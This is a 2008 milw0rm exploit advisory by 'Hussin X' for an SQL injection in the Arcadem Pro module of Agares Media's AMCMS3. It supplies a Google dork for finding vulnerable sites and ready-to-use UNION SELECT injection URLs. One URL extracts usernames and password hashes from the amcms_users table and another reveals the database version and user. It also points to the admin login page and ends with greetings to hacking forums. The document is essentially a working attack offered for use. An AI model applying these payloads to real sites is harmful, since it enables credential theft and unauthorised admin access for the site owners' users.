62 lines
No EOL
1.4 KiB
Text
62 lines
No EOL
1.4 KiB
Text
|___________________________________________________|
|
|
|
|
|
| Arcadem Pro (articlecat) Remote SQL Injection Vulnerability
|
|
|
|
|
|___________________________________________________
|
|
|---------------------Hussin X----------------------|
|
|
|
|
|
| Author: Hussin X
|
|
|
|
|
| Home : WwW.IQ-ty.CoM | WwW.TrYaG.CC
|
|
|
|
|
| email: darkangel_g85[at]Yahoo[DoT]com
|
|
|
|
|
|
|
|
|
|
|
|___________________________________________________
|
|
| |
|
|
|
|
|
| script : https://secure.agaresmedia.com/index.php?page=arcadempro.php
|
|
|
|
|
| DorK : Copyright © 2007 Agares Media. Powered by AMCMS3.
|
|
|___________________________________________________|
|
|
|
|
|
|
Exploit:
|
|
________
|
|
|
|
|
|
|
|
www.[target].com/Script/index.php?loadpage=./includes/articleblock.php&articlecat=-1+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10/**/FROM/**/amcms_users--
|
|
|
|
|
|
USer version
|
|
|
|
|
|
www.[target].com/Script/index.php?loadpage=./includes/articleblock.php&articlecat=-1+union+select+1,version(),user(),4,5,6,7,8,9,10--
|
|
|
|
|
|
|
|
|
|
|
|
Admin LogIn :
|
|
|
|
www.[target].com/admin/
|
|
|
|
|
|
|
|
|
|
|
|
____________________________( Greetz )_________________________________
|
|
|
|
|
| All members of the Forum WwW.IQ-ty.CoM | WwW.TrYaG.CC |
|
|
|
|
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|
|
|
|
| Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone
|
|
|______________________________________________________________________
|
|
|
|
|
|
Im IRAQi
|
|
|
|
# milw0rm.com [2008-09-29] |